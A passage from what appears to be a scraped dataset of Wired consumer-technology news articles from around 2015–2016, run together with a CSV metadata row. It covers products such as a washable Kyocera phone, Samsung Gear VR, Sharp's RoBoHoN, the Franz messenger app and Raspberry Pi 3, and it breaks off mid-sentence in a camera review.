Tricky situation! Tricky and gross. It's something that the Kyocera Digno Rafre looks to remedy. The Digno Rafre, available in Japan, has pretty basic specs for a smartphone; it starts at 16GB storage, has 2GB RAM, a 13MP rear and 2MP front-facing camera. It runs Android 5.1. None of that's enough to turn heads. For neat freaks, though, or those nonplussed by the thought of carrying around millions of bacteria in their pocket every day, it has one crucial advantage: you can wash it with soap. That's more impressive than it may sound. It's hard enough to find a waterproof smartphone today, and until now impossible to find one that can survive the rigors of a rigorous good scrubbing. In fact, even the Digno Rafre has its limits; Kyocera encourages the use of foam-based soap, rather than potentially injurious bars. Kyocera reportedly managed the feat by finding a better way to seal the device. The Digno Rafre's display also works when wet, meaning it may be the first handset targeted specifically at the bubble bath set. The phone's only available in Japan (for $467), and Kyocera has indicated they don't plan to sell it elsewhere. Until they change their minds-or someone else offers a washproof smartphone stateside-you can always opt for constantly wearing gloves, or obsessively washing your hands. Starting today, you can preorder the consumer version of the Gear VR headset for $99. Sure, Samsung's headset has been around for awhile, at least for developers and lucky beta testers who got their hands on the Innovator Edition. But this is the first time the Oculus Rift-powered headset has been sold to regular consumers. The devices will ship November 20. This isn't just some new packaging slapped on the earlier model: According to Oculus , the official Gear VR headset is 19 percent lighter and ""features improved ergonomics,"" like a new touchpad that should make it easier to use. The best news: Gear VR is going to work with more Samsung phones, and there are lots of new games to use it with. If you have a Galaxy S6 Edge, S6, Note 5, or S6 Edge+, you're in the clear (though the last two will require a carrier software update). And perhaps the most exciting new title on the horizon is , a visually stunning game set in an ancient civilization from the makers of Monument Valley . The Gear is just one of a few compelling VR headsets, but it's managed to situate itself nicely for user adoption by aggressively partnering with various media outlets to experiment with consumer VR experiences. Already we've watched NBA games and political debates. Oh yeah, and it's just under 100 bucks. You can order the Gear headset now on Amazon , Best Buy , or from Samsung . We've all done the ""pocket pat down"" to check we have our phones and wallets before leaving the house. But even if you remember to bring your phone with you, it'll be dead weight if you forget to charge it. Sure, you could always bring a spare charger in your bag, but if you like to go out with only the clothes on your back you know that pocket space is a limited resource. Nomad 's new Wallet for iPhone might be able to help all the bagless chumps out. As its name suggests, the Wallet is a battery pack for your iPhone-but it's no bulky charger: It's no thicker than a standard billfold wallet. It measures in at 95mm (height) x 125mm (width) x 25mm (max thickness), so feel free to stuff it with your disposable income and those fro-yo stamp cards. Nomad was able to keep these dimensions by placing the skinny, yet high powered, 2400 mAh battery along the spine of the Wallet. That's enough juice to fully charge an iPhone 6s. When the Wallet's battery is depleted, it can be recharged by any microUSB charger. Flashing indicator lights will tell you how much energy is stored in the Wallet, and when you are ready to connect it to your iPhone, you can un-sheath its built in Lightning cable. Considering that it can hold all these electronics, your cash, and your cards without looking like a lunchbox, that's some serious space optimization. The Wallet for iPhone can be pre-ordered now for $80 ($20 off retail), and is expected to ship November 15. Love the gaming style of arcades but the physicality of, you know, actually moving? This hack turns indoor rock climbing into a real life video game of sorts-and the creator of the code is working with various rock climbing gyms to bring it to their facilities. Maybe it will hit your local rock wall soon. I've watched the teaser video for the RoBoHoN a few times now, and I still don't know what to make of it. Sharp, who made it, calls it ""a phone in human shape, a phone that you feel like talking to."" The name itself is a wonky portmanteau of robot and phone. It can be held up next to your ear just like any other phone. Unlike any other phone, though, it is also a talking robot helper projector music toy assistant man. Sure! In the three-minute video, the RoBoHoN plays all sorts of roles. It waves happily at you when your alarm goes off, sits on your car dash, remembers to buy you more toothpaste in a squeaky anime voice, and then bends over at the waist to point its built-in projector at a table to show you photos from your boyfriend while he tells you how much he loves you while you cry, apparently? You can dress RoBoHoN up in a bunch of different accessories, including Swarovski crystals. He's mostly designed to be talked to, but he has a touchscreen on his back in case you need to touch him. On one hand, this is definitely the worst phone ever. You wear it by a lanyard around your neck, the screen is small and bad, and I mean, come on, the thing is huge and unwieldy and you look like you're holding a toy to your face. But the robot? The robot seems pretty great. RoBoHoN uses facial recognition to tell individual people to smile for the camera. He (I think it's a he? I've been saying ""he"" but it's entirely possible that RoBoHoN exists outside of gender) will help you remember to do stuff; he'll help your kid learn to walk; he'll play music and literally lead the dance party. He can sit, walk, hail cabs, and do a thousand other crazy things. The concept video looks like an out-there student film, or a live-action cut of something Pixar might be working on. But Sharp swears RoBoHoN is a real thing, set for launch next year. In the inevitable army of the robot takeover, this is the one that eats your smartphone. And dammit if it's not just the cutest little everything machine. There's absolutely no reason that your every day computer shouldn't look like an F-22 cockpit simulation. That seems to be the logic behind HP's new 34-inch Curved All-in-One, an impossibly long display that can comfortably accommodate more tabs than is healthy. The shape's not new to HP; the company already sells a 34-inch display that looks basically identical. The resolution isn't as eye-popping as, say, a 5K iMac, but a 5K iMac doesn't curve, or cover nearly three feet of ground, diagonally. Now, though, HP has stuffed a computer inside that display, in a glorious act of why not? Inside, you'll find substantial enough guts: The $1,799 base model comes with the latest Core i5 processor and 8GB of memory, and you can upgrade to as much as 2TB of storage, 16GB RAM, and a discrete Nvidia GTX 960A graphics card. All of which is to say it'll do pretty much whatever you might need it to. Most importantly, though, it is gigantic; a multi-monitor set-up that requires just one glorious monitor. It's even, one might venture, innovative, at a time that the PC industry desperately needs innovation . It'll be available Nov. 8, and while it's obviously intended for those with specific needs and muscular budget, the rest of us can at least appreciate a heaping desktop helping of eye candy when we see it. Keurig Kold, a countertop soda-making machine that Keurig hopes will expand its appeal beyond coffee. Keurig, best known for its pod-based, countertop coffee dispensers, is branching out. The new Keurig Kold provides a chilled counterpoint to the company's previous models, serving up sodas from name-brand pod providers like Coca-Cola and Snapple. If that sounds a bit like SodaStream, that's because it is, although there are a few key differences. The most important of which, for those who've grown weary of carbon dioxide refills, is that Kold uses ""Karbonator beads"" embedded in its pods to generate CO2. That means no canisters, and no confusion over just how many bubbles to add. That also means the Kold should be equally adept at non-carbonated beverages, including teas, sports drinks, and flavored water; in addition to its partners, Keurig will be offering its own brands in those categories. Regardless of fizz, as you'd expect from the name, the drinks also come out, well, cold, thanks to what Keurig describes as an ""aerospace-inspired thermal transfer system."" While it's hitting shelves today-or more specifically, hitting Keurig's retail website; it will roll out to stores in select cities later this month-Kold made its debut at an analyst conference this past March, and has been in development the past five years. The long rollout signifies just how important Kold is to Keurig; the company's currently trading at about a third of its 52-week high due to quickly fading sales of its K-Cup-based coffee products, a decline that led the company to announce a 5 percent workforce reduction in August. Kold represents its best chance at a pick-me-up. Then again, Kold's most obvious competition, SodaStream, has been in an extended sales free fall, calling into question whether there's currently a significant market for home carbonation machines in the first place. The device faces other challenges, as well. A coffee pod's prime appeal is ease of use; it's obviously faster and less fussy than parsing out grinds for a traditional drip coffee maker. Making that same case for Kold could be tricky, since it's competing against the simple act of popping the tab on a can, or twisting the top of a bottle. And whatever convenience it does offer doesn't come cheap; Kold comes with an MSRP of $370, with pods costing between $4.50 and $5.00 for a pack of four. Each pod produces a single 8-ounce drink, making your countertop cola more expensive than the grocery store equivalent even before the sunk cost of the machine itself. Push-button drink production has a demonstrable appeal; whether that translates from hot to cold depends on one's counter space, pod appeal, and single-serve obsession. The tablet industry is still going strong, but if we can take away anything from the Microsoft Surface and iPad Pro releases, it's that some people really want keyboards to go with their tablets. Built-in touch screen keyboards simply aren't enough for writing anything longer than a text, and they take up valuable screen space. The thin screen-protector-like keyboards that Microsoft and Apple make are great for portability, but they don't offer the tactile feel that desktop keyboards do. If you want a keyboard that feels awesome (and isn't that portable) what better place to look for inspiration than a good old-fashion typewriter? The folks at Qwerkytoys have created the Qwerkywriter , a tablet keyboard that mimics the look and feel of a typewriter. Even though the Qwerkywriter looks old fashioned, there's plenty of modern tech baked inside. The keyboard pairs with devices via Bluetooth, so even though it has a dock that fits all sorts of tablets, it can be paired with smartphones or even desktop computers. Additionally, that macro return bar isn't just for show: By default, it doubles as an enter key, but can also be programmed to render up to five characters. The Qwerkywriter started as a Kickstarter campaign, but since it already met its goal of $90,000, you can pre-order it now for $329. The pre-orders won't ship out until October or November, but in the meantime you can listen to the satisfying clicks of the Qwerky's keys in action. The maximum load of a PhunkeeDuck-or any other brand of these suddenly popular stand-up scooter boards -is around 300 pounds. The maximum thing you should try to do on one of them is not to fall over. Somehow, personal trainer Bradley Martyn stepped onto one, stuck 315 pounds behind his neck (six 45-pound weights plus a 45-pound bar), and blasted some squats. Four reps, bro. On a spaceboard, bro. This is dangerous, and you should not ever try it. In fact, you can hear the stand-up scooter crack during the initial squat, and again during the fourth rep. Somehow, the contraption held together during the entire feat of strength and balance, and that wasn't the only danger to Martyn's safety. Fall backward, and risk a concussion from the back of your head smacking a solid steel bar. Fall forward, and risk your face being pinned to the floor by 315 pounds. So never attempt this superhuman show of agility, even if you look like He-Man. Still, feel free to watch it repeatedly on the Internet to your heart's desire. Logitech G is launching two new gaming headphones: the G633 and G933 Artemis Spectrum. They are the result of Logitech's sound engineering team's attempt to create a gaming headset that delivers audio comparable to top-shelf headphones. With patent pending Pro-G audio drivers and 7.1 Dolby surround sound, these headphones aim to immerse you into the game. The two headphones look similar, with the G933 as the beefier big brother. The G933 includes a few more features than the G633, such as the ability to operate wirelessly and an additional audio input for sound mixing. But you'll have to pay a little bit more to get these extras, as the G933 costs $200 versus the G633's $150 price tag. Regardless, the two both offer some cool customizable features. By downloading the Logitech Gaming Software, you are able to assign game macro functions to the headset's three programmable G-keys. Additionally, you can use the software to adjust equalizer settings and set up sound profiles that best fit your acoustic preferences. On the other hand, some customizable features are just for fun, like the ability to change the RGB lighting to any color of your choosing. Look out for the Logitech G633 and G933 Artemis Spectrum in October 2015. While your smartphone is an easy conduit for all-emoji conversation, things get a little tough when you find yourself at a regular old laptop. Sure, keyboard shortcuts can get you there, but PC-made discussion is still dominated by... you know, words. Until now! Emoji Key is a set of stickers you can throw on top of your lettered keyboard. Then you just have to install the emoji keyboard on your laptop (the site includes instructions), and boom: You are typing in nothing but emoji. And yes, this would probably get confusing eventually. In Samsung's never-ending quest to take on the iPhone, it's giving customers the chance to test drive one of its Galaxy phones (the S6 Edge, S6 Edge+, or Note 5) for 30 days for the low, low price of $1. If you're an iPhone user who's curious about the competition, now is the time to question your allegiance. You'll get a month's worth of data, and since it's not like you have to hand your iPhone over to Samsung, you've essentially got two phones for a month. For a data hog, that's not a bad deal. Really, this should have become a standard a long time ago. According to Reuters , this surfer shelled out $390 to attach a device to his board that emits ""an electronic force field that overpowers [sharks'] sensing organs."" Sounds like the best $390 he ever spent. There are couple of retailers installing these devices, including SurfSafe and SharkShield -check out this video from the former showing you how its done.",en
1461954682,CONTENT SHARED,-456574518348806233,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.wired.com/2016/04/franz-messenger-app/,A Single App That'll Wrangle Your Millions of Messengers,"Way back in the Mesozoic Era of the Internet, which was approximately 2009, maintaining your status as an Internet Socialite required a deft understanding of a multi-faceted messaging ecosystem. You obviously had to be logged into AIM, with just the right away message that told your real friends you were still nearby (and you better not skimp on your buddy profile). But you couldn't ignore your MySpace IM or Yahoo Messenger, just in case your maybe-real Internet crushes wanted to chat. And you gotta keep up your nerd cred on IRC. Being popular was hard work! Franz is a free app that combines more than a dozen different messaging services into a single window. Now, though, technology has become more sophisticated and user-friendly. And as messaging has become a key component of how we do almost everything online, our interaction with chat is easy and understandable part of our everyday lives. Wait, no, that's wrong. It's the exact opposite. Messaging is more important, more powerful, and more versatile, and yet wrangling all of our constant conversations together is like herding cats. Except there are a thousand cats, and they're all rabid and loud and running in every direction as fast as they possibly can while meowing horribly offensive things about all the other cats and giving you really important work deadlines. It's not a pretty picture. Years ago, apps like Adium, Meebo, and Trillian quickly became a crucial part of every Internet Socialite's arsenal. All your accounts in one place, neatly organized, so you could remember who's who and what's where at all times. There's nothing like that now, and there really couldn't be; messaging apps are more than just text-sending protocols, they're entire platforms. Every platform is different, and there's no way to neatly combine them. The best we can hope for is to at least bring all those disparate things into one place, which is exactly what Franz does. Franz is a new-ish free app for Mac, Windows, and Linux, that combines more than a dozen different messaging services into a single window. When you open Franz, you can instantly be logged into Slack, WhatsApp, Facebook Messenger, Telegram, Skype, Hangouts, and more. The app itself is just a container-you're basically opening web views of all the apps, tabbed in a single lovely window. By combining them into one place, though, you get a single set of notifications for all your services. A little red ""1"" will show up next to anything with an unread message, so you know at a glance what's waiting for you. And best of all, you're not stuck switching between a dozen browser tabs or a folder full of apps. Even though you don't, it feels like you have just one messaging app. It's just Franz. Franz isn't a perfect, universal messaging solution. It's not Adium 2.0. But it's the closest thing we're probably ever going to get. As the messaging ecosystem metastasizes and becomes the universal interface for how we do everything, easy access to our many tools is much more realistic than trying to build a single Megazord Messenger that encompasses them all. And besides, this might be better anyway. You get Slack the way it's meant to be used, and with a single key command you're jumping into Facebook's most complete vision of Messenger. Until we get that universal messaging app that would make life so much easier, this is definitely the next best thing. If you bought a Sony or Sharp TV from the past couple of years and you have an iPhone, you've got yourself a new way to navigate your smartwares. At long last, Google's Android TV Remote app is now available in the iOS App Store. It replicates the functionality of the same app for Android , which has been available for years. The most useful function of the app is its double-duty microphone/keyboard feature The remote-control app for Android TV devices isn't all that full-featured-it's essentially just an app version of the plastic remote included with the Google Nexus Player . Regardless, it's a handy backup clicker or a back-from-the-dead use case for an old iPod Touch. You've got your D-pad for navigating menus. Got that home button right there, too. Back button? Check. Even has an icon on there for a-playin' and a-pausin', and you can turn the whole screen into a touchpad like some kind of weirdo. But the most useful function of the app is its double-duty microphone/keyboard feature. You can use your phone as a mouthpiece for Android TV's excellent voice search (hopefully Siri won't get jealous). The app one-ups the Nexus remote by letting you input text with your phone's touchscreen keyboard. Plus, it communicates to your TV or set-top device over Wi-Fi, so you don't need a line-of-sight connection. And yo, it's free. This week at the NAB Show , the annual trade show for people who make video content, virtual reality is going to be everywhere. Condition One , a startup-slash-studio that was earlier to VR filmmaking than most, is making one of the show's early announcements: a new VR camera called the Bison. This 360 rig is made for the kind of run-and-gun documentary shooting the company's known for. Or at least the closest you can get to that given the current state of VR tech. It won't be for sale, but it will be part of the company's toolkit as it continues to make VR movies-so if you want footage from the camera, you have to hire Condition One to shoot it. Here's the rundown on the camera itself: The Bison is named for the first thing Condition One founder Danfung Dennis shot with the initial prototype. It's comprised of 16 cameras, and all together they're capable of shooting full 360-degree video with full 3D audio. It'll produce 5.7K resolution video, at up to 48 frames per second, for up to two hours on one battery charge. It's made of a rugged aluminum, and has an intense cooling system to keep it running even in the hot sun. Even the tripod is made of carbon fiber, so you can't destroy this thing if you try. The camera's minimum focusing distance is two feet, which makes Dennis particularly proud. ""We've been really focused on creating presence in the near field,"" he says. ""To have subjects within your arm's reach, to have close subjects to you... You really feel presence."" The Bison falls somewhere in the middle of the VR camera field, such as it exists right now. There are solutions like HypeVR , which amounts to an impossibly expensive and cumbersome set of super-high-end RED cameras rigged together for VR. Google has Jump , GoPro has Odyssey , Facebook has Surround 360 . (Bison, by the way, is probably closer to Surround 360 than any other single product.) They're all big, expensive, and mostly made of a bunch of individual cameras stitched together. On the other side are the super-simple 360 cameras, like the Ricoh Theta . Those aren't pro cameras by any stretch. Condition One seems to intend the Bison to be sort of the DSLR for VR; it's more compact and easier to use, but absolutely capable of making something Oscar-worthy. Part of Condition One's journey has involved learning what works, and what doesn't, in virtual reality filmmaking. Before getting into VR, Dennis was a longtime war photographer, so he tends to like to run and gun. But moving around is not exactly a delightful viewing experience in VR-it's more likely to make you sick. So even if it were possible (and it really isn't), it wouldn't make a lot of sense to try and make a shoulder-mounted or hand-held VR camera. But the Bison's close, at only 12.5 pounds. More important, it's rugged enough to go the places you'll want to put it; Dennis has watched as bison, jaguars, and (in a less-frightening shoot) monarch butterflies inspected the camera while he watched from afar. The remote trigger works from a half-mile away, too, so you can keep yourself out of your spherical shot and still get the footage you need. As they worked, Dennis says, they found that the hardest part wasn't the shooting-it was the stitching. Taking a bunch of cameras, and putting all their images together in a way that looks right, is hard and intensive work. The best solutions will make everything seamless, literally and figuratively, and making their own hardware made it easier to build the necessary software too. Now they're trying to figure out what kinds of VR movies people want to watch. And where to put them so people can see them. And how to make money. Right now, in VR, if you solve one problem all you get is a hundred new ones to figure out. More than just about anything you own, your smartphone represents you. Your photos, your communications, your work, your leisure activities, your nudes, everything's in this one rectangular piece of metal and glass. You smartphone, therefore you are. Google is pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. As our phones come to contain our personalities, a good case becomes all the more important. Not only does it keep your phone from shattering on the sidewalk and taking all your memories and plans with it, it turns your phone into something that looks and feels more unique. More personal. More you. Google's taking the idea even further, introducing a new Live Case Creator tool that lets you turn a point on a map or a photo into a phone case you can slap on the back of your Nexus 6 , 6P , or 5X . You go to the creator website, and upload a photo or use the Google Maps interface to select a location. Then, position it on the case however you want, select among Google's many filters, which add color or transmogrify your photo into an abstract art piece. Confirm it, buy it, and Google prints and ships you a case of your very own. Maybe coolest of all, these Live Cases skin the wallpaper of your phone to match your new case. If you go with the map, you can turn your wallpaper into a similarly colored, moving map of where you are right now. If you choose a picture, you can make an album of other shots for your phone to style and switch between automatically. There's also a button on the back of each case that will launch your phone's camera (if you choose a photo case) or find you nearby places in Maps (if you pick a location). Google first hinted at plans like this when it worked with Skrillex on a handful of customized phone cases. Googlers say they were blown away by the response to that project, and that people wanted more. The company's pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. It's always been part of Google's vision for Android, right down to the tagline: be together. Not the same. Maybe before long picking a phone case won't be like choosing clothes from the rack, finding the garment that fits you most closely. It'll be more like making your own clothes, and getting it exactly right. If the rumors are correct, Apple is bringing back a smaller iPhone . This makes sense. There's no such thing as a one-size-fits-all smartphone or even a two-sizes-fit-all smartphone. Some people want a phone that fits in the pocket of their skinny jeans. Other people have larger-sized skinny jeans. A third group of slacks-wearing people want a phone the size of a skateboard deck. The same idea holds true for almost everything. Some people want big versions of things that are supposed to be small. Others want small versions of things that are supposed to be big. All of this is possible. On my desk right now, there's an oversized pencil, an undersized building, a miniature hockey player with a disproportionately large hockey stick, and a ""King Size"" Sharpie. Here is a photograph of these objects taken with my phone, which is the size of a skateboard deck: More often than not, things that aren't their appropriate size are whimsical and fun . On occasion, they're even thought-provoking. Examining an object that isn't normal-size lets you appreciate its form or design detached from its function. This will help you forget about taxes for a little while. Alas, acquiring miniature and oversized objects isn't as easy as walking into a store and heading to the ""giant"" or ""tiny"" section. Luckily, there are dedicated online outlets for each of these retail needs. For things that are smaller than normal size , perusing the digital aisles of Archie McPhee, Suck UK, and ThinkGeek is a good place to start. McPhee has items such as squirrel-size coffee cups and underpants , a functional miniature drum kit , and a tabletop ark of the covenant . Suck UK has you covered on the guitar-case lunchbox and planet-themed eraser fronts. ThinkGeek is the place to go if you want a miniature filing cabinet for your business cards or a tiny, functional Tesla coil . But those are all readymade products. If you want to create your own miniature projects, cruise by Mini Materials . It's like a Home Depot on the island of Blefuscu : miniature cinder blocks, shipping pallets, bricks, and two-by-fours. There are also tiny packets of concrete mix and minuscule buckets of mortar. For things that are larger than normal size , Archie McPhee is also a handy source, with things like giant googly eyes , a coffee cup that holds around two gallons , and a gigantic slice of toast you can sleep on. But again, if you want oversized stuff, it's best to go to an oversized-stuff specialist. GreatBigStuff.com is the titan of the market, offering mission-critical objects such as plus-size Whoopee Cushions , a flask that holds a gallon of whisky , a giant functional computer mouse , and a massive (and edible) Ferrero-Rocher candy . You can also buy a large stack of fake cash to use as a foot rest and an unlimited supply of oxygen for $1 . For things that are actual size , try all other stores. What if you could play a videogame with a banana? Or a drum machine with a burrito? MaKey MaKey lets you do exactly that-and more. MaKey Makey turns everyday objects into digital touchpads for your computer. Jay Silver and Eric Rosenbaum designed it while they were in grad school at MIT. Inspired by the maker movement, they wanted to create an open-ended way of getting people to think creatively about how kids interact with our increasingly networked world. The result is a clever kit that makes a controller of literally anything that conducts electricity. ""Makey Makey is a device for allowing people to plug the real world into their computers,"" said David Ten Have of JoyLabz, which produces the kit. ""We want people to be able to see the world as their construction kit. And basically the way MaKey MaKey works is that it pretends to be a USB keyboard."" Each kit comes with a circuit board-the heart of the kit-a set of alligator clips, and a USB cable that plugs into your computer. The USB provides power to the circuit board, and the alligator clips link the board to any object that conducts electricity. Turns out, a lot of things conduct electricity. Food. Plants. Play-Doh. Even you.""We were shooting for creating a product that had an incredibly low floor for participation, but an incredibly high ceiling for expression,"" said Ten Have. ""We're seeing things made as simple as a banana piano and as advanced as measuring tools for chemistry labs, for instance."" The possibilities seem endless. Kids can turn their art into an instrument. Connect the alligator clips to people's hands to make a human drum machine. People have transformed a trash can into a calculator and a slice of pizza into a game controller. Your garbage can is full of new controllers . Fresh air can be harder to come by than you might think. If you have pets or you live in a city or it's cold outside, you are almost certainly breathing air that is full of contaminants that can make you sick, and even trigger asthma and allergies. You can't do much about the air you breathe at work or on the train, but you can control the air inside your home. The problem is that most air purifiers are ugly, loud, and some even omit ozone-which can be a serious lung irritant. Airmega tackles all of those problems with the Smart Air Purifier , which is (reasonably) attractive, quiet, and doesn't spew toxins. It's also a smart appliance that's actually smart. The Airmega keeps you abreast of the air quality in your place, and an app (of course it's got an app) lets you know if the air's gotten funky while you're on the road. If so, simply activate it remotely and come home to fresh air. A handy automatic mode lets the purifier turn itself on whenever the air gets stale, and an eco-friendly mode shuts it off after 10 minutes. The machine has filters on two sides, so it inhales more bad air and exhales more good. This thing can renew the air in a 1,560 square foot space twice an hour. Airmega claims the carbon and HEPA filters remove 99.97 percent of the junk in the air, and the app (and a sensor on top of the device) tell you when it's time to change them. Airmega says they're good for a year. These things aren't cheap, though. The smaller model, the 300S, will cost $749 when it's available through Airmega and Amazon later this month. The larger 400S will run you $849. But then, how much are your lungs worth? A little over three years ago, the Popslate presented an intriguing idea: What if a case could turn the back of your phone into an E Ink display? Like a lot of first-generation, crowdsourced products, the original didn't quite live up to the promise. Popslate 2, though, looks like a very promising course correction. The original Popslate, which finally materialized last spring, worked as advertised. Its limitations, though, made it difficult to justify as an everyday case. It charged with a different cable than the iPhone 6 it was designed to fit, and at launch only displayed still images pushed from an app on the front of the phone. It eventually used IFTTT to prompt screen updates without manual intervention, but even that required a little bit more digital elbow grease-and a little less functionality-than might justify the added bulk and expense. Popslate 2 doesn't just promise to address these issues; it actively adds plenty of functionality as well. It's an evolution, not merely refinement. To start, Popslate 2 not only ditched microUSB for the Apple-preferred Lightning cable, the case itself provides a backup battery that can add up to nine hours of talk time (or four hours of browsing) to your iPhone. It manages to do so while still reducing the thickness versus the original Popslate by nearly half. The display itself has improved, as well. Still ""shatterproof,"" it's now 200 dpi versus the previous version's 115, and has a pleasant-looking curve to it. There's also an easy way to navigate the latest Popslate on the display itself. Three capacitive touch buttons at the bottom of the display let you switch between apps and scroll through content. More important than the hardware upgrades, though, are the software smarts Popslate has added. Rather than lean on static images and clumsy IFTTT integration, Popslate now pulls directly from a handful of useful apps to maintain a dynamic display. You still need to download and use the Popslate app to customize your black-and-white rear display, but your options have expanded. ""We are leveraging sources with APIs and pulling that content straight into the Popslate app,"" says co-founder Greg Moon. ""Planned integrations for launch are: NYT, Twitter, Accuweather, and Google Calendar. We are also putting together partnerships around sports and stocks, which likely will also be part of the launch."" Moon says the company determined what apps and areas to focus on based on people's IFTTT usage on the original Popslate. In addition to the news, weather, and social functions it has already has-and the sports and stocks to come-you can expect to see wearable and IoT data apps at some point as well. Popslate 2 also comes with a Wallet function that lets you display items with bar or QR codes, like boarding passes or concert tickets. That's not to say everything is perfect. While the ideal app might seem to be Kindle-reading E Ink beats reading on an LCD display any day-you won't find Amazon's e-reading software here. You can use Popslate 2 as an e-reader, but currently only through Project Gutenberg, a free e-book resource whose catalog features mostly public domain classics. While Moon wouldn't confirm if there were plans for Kindle down the road, he's confident that the e-book selection will expand. ""We are also in discussions with additional e-book providers,"" says Moon. ""Unfortunately we can't disclose the parties at present for confidentiality purposes. As a result, our e-book sources and supported formats (including EPUB) will expand substantially after launch."" The ""after launch"" part is the other small cause for concern. Like its forebear, Popslate 2 is a crowdfunded project. But while it's generally healthy to be skeptical of Indiegogo concepts, the fact that the Popslate team has already delivered once offers at least some confidence in the second generation. It's expected to ship this July, at a cost of $149 (or $69 for early backers). A second E Ink display isn't a new idea; a company called Yotaphone has even built one into the handset itself. But if Popslate 2 delivers the improvements it's promising, it will have made a pretty good product pretty great. Considering that the average smartphone user takes out their phone more than 220 times a day , you might want to invest in a nice case. Wood is generally prettier than plastic, and while there are a variety of wooden phone cases to choose from, most of them have some visible plastic or rubber that totally distracts from that outdoorsy vibe you're going for. Luckily, the Woodline case for iPhone 6 and 6s is made by Pad & Quill , has a 100 percent wooden exterior. OK, it's not all wood: Unless it was a quarter-inch thick, a totally wooden phone case would probably crack when dropped. The outer wooden shell is filled with Aramid fibers, the same stuff used on drumheads and jet engine enclosures. If you prefer keeping your phone in your pocket, the Woodline is ultra-thin so you can easily do so. Seriously: According to Pad & Quill, it's as thin as a dime, so it's definitely not going add any noticeable bulk. The cases are all handcrafted out of real wood, so each one looks different and is engraved by the carpenter who made it. The cases come in four different types of wood: American Cherry, Rosewood, Zebra, or American Walnut, so you can pick the grain that most suits your daily grind. The case is currently available for preorder and will begin shipping next week. Raspberry Pi, the computer that literally fits in the palm of your hand, isn't for everyone. It comes with circuitry exposed, without a case, input method, or, until now, much in the way of connectivity. With the addition of Wi-Fi and Bluetooth, though, Raspberry Pi 3 comes closer to a pocketable PC for everyone. The third generation of Raspberry Pi in its four years of existence, Raspberry Pi 3 integrates 802.11n Wi-Fi and Bluetooth 4.1. Previously, you had to employ some dongle magic to add that functionality. The only other big upgrade-there are, after all, only so many components to upgrade-is the processor. Where previously sat a 900MHz 32-bit, quad-core ARM Cortex-A7 CPU now sits a 1.2GHz 64-bit, quad-core ARM Cortex-A53 CPU. If those numbers mean nothing to you, just know that it's about 10x the performance of the original Raspberry Pi, and over 50 percent better than the previous iteration. Otherwise, the Pi remains largely the same. It's roughly the same size and shape as generations past, aside from some minor component shuffling to accommodate the antenna that allows for its newfound wireless connectivity. Most importantly, it's holding on to that $35 price. For the cost of a few decent deli sandwiches, you can still own a fully functional (and now, even more so) pint-sized computer. It's important, too, that Raspberry Pi keep building on its success. No shortage of micro-computer competitors have sprung up in the years since the original Pi's introduction, some of which, like the Arduino 101, have already either promised or delivered an advanced feature set. And for three or four times the price of a Pi 3, consumers can opt for a ""PC on a Stick"" dongle, like Lenovo's Ideacentre Stick or Intel's Compute Stick, that offers the convenience of a dongle form factor, and the ability to plug directly into a monitor. Nobody's done it better for longer, though, than the Raspberry Pi Foundation. It still takes a little bit of know-how to fit it into your life, but one of the best bargains in tech is even more so now. Today Oculus Rift unveiled three new VR-ready PCs that excited, ready-to-be-completely-immersed gamers can pre-order in one week. The new PC towers, from Dell, Alienware, and ASUS, are designed to handle the powerful new VR graphics, which take a massive amount of rendering power to bring games to life in your headset. To no one's surprise, they don't come cheap. Expect to pay between $1,000 and $2,500 for a Oculus Rift-ready PC-but if you were one of the enthusiasts that pre-ordered Rift, you may be eligible for a discount. And if you already own a super computer, there's a chance that it might already be Rift-friendly already. You can test with Oculus's compatibility tool , which you have to download so it can scan your system's current capabilities. A traditional 1080p game requires 124 million shaded pixels per second to render the visualizations. Oculus Rift's VR program needs about three times that rendering power. According to the company blog, a Rift runs at 2160x1200p on dual displays and requires somewhere in the range of 400 million shaded pixels per second. TL;DR, most computers are way too weak to run VR headsets. So what will people will be able to do with their new VR-ready PCs? Well considering Facebook acquired Oculus Rift for $2 billion dollars last year, and keeping in mind that the platform now counts over one billion users, the company is certainly poised to do big things. Oculus already boasts an impressive roster of immersive experiences, including porn , reading a book on a beach , or playing golf with robots . Keeping a journal is a pain in the ass. It's a scientifically-proven wonderful thing to do-to preserve your memories, explore your feelings, record the things you do and notice and care about-but it's a lot of work to sit down every day and get your Dear Diary on. Day One has always cleverly skirted that hassle by turning a journal entry into something more like a splits counter on a stopwatch. The app takes your location, motion data, and more, and turns it into a snapshot of your life at any time you choose. How you fill it out-or don't-with words, pictures, video, and whatever else, is then up to you. The app's been around for a few years for Mac and iPhone, but developer Bloom Built just released its first complete overhaul ever. The new Day One (insanely named Day One 2-yes, really) has a slicker design, a much bigger emphasis on photos, and a handful of new ways to filter your journal to see entries from a certain place or time or from a specific topic. You can even have multiple journals, in case you want to separate your obsessive cataloging of every book you read from your ""feelsy"" entries. The Mac app is a great browser for your old entries, and the iPhone app is well-tuned to make saving and creating those entries really easy. Just 3D-touch to start a new entry, snap or upload a photo, add a caption, and poof: You're a journaler. The app is also unusually good at giving you control over your privacy and data. You can set a passcode, and at any time export all your data to PDF or a plain text file. It's a lot more secure than hiding your journal underneath your mattress. Stomaching the price might be a little tough ($9.99 for the iPhone app, $39.99 for Mac, though if you buy right now it's half-off), but that's the hardest part. Everything else about keeping a journal will suddenly be a lot easier. More so than any kind of modern technology, digital cameras have pushed retro designs into the mainstream. Fujifilm , Nikon , Panasonic , and Olympus all have their own throwback shooters-and Leica has never really strayed from its timeless designs. It's not just a gimmick, either. In the world of photography, retro style is sensible: Unlike today's sleek, touchscreen-controlled phones and tablets, experienced photographers want to have all the knobs, buttons, and dials they need at their fingertips. The fetching Olympus PEN-F is the company's latest old-school camera, and it bears the same name and stylistic touches as Olympus' 35mm film SLR cameras from the early- to mid-1960s. While a tribute to a 35mm film camera would suggest the PEN-F has a full-frame sensor, that isn't the case. It's built around a Micro Four-Thirds sensor like the other cameras in the PEN series. This sensor's brand new, though. It's a 20-megapixel imager, bolstered by Olympus' excellent five-axis stabilization system. It also does the same cool things as Olympus' recent OMD series cameras. There's the ""Hi Res"" mode found in the OMD E-M5 Mark II , a tripod-optimized feature that moves the sensor around to capture a 50-megapixel shot. There's also the focus-bracketing feature found in the E-M5 II, E-M10, and E-M1. The PEN series usually bears lesser specs than Olympus' higher-end OMD lineup, but not this one. The PEN-F is basically an OMD-level camera in a throwback body. It captures continuous shots at a rate of up to 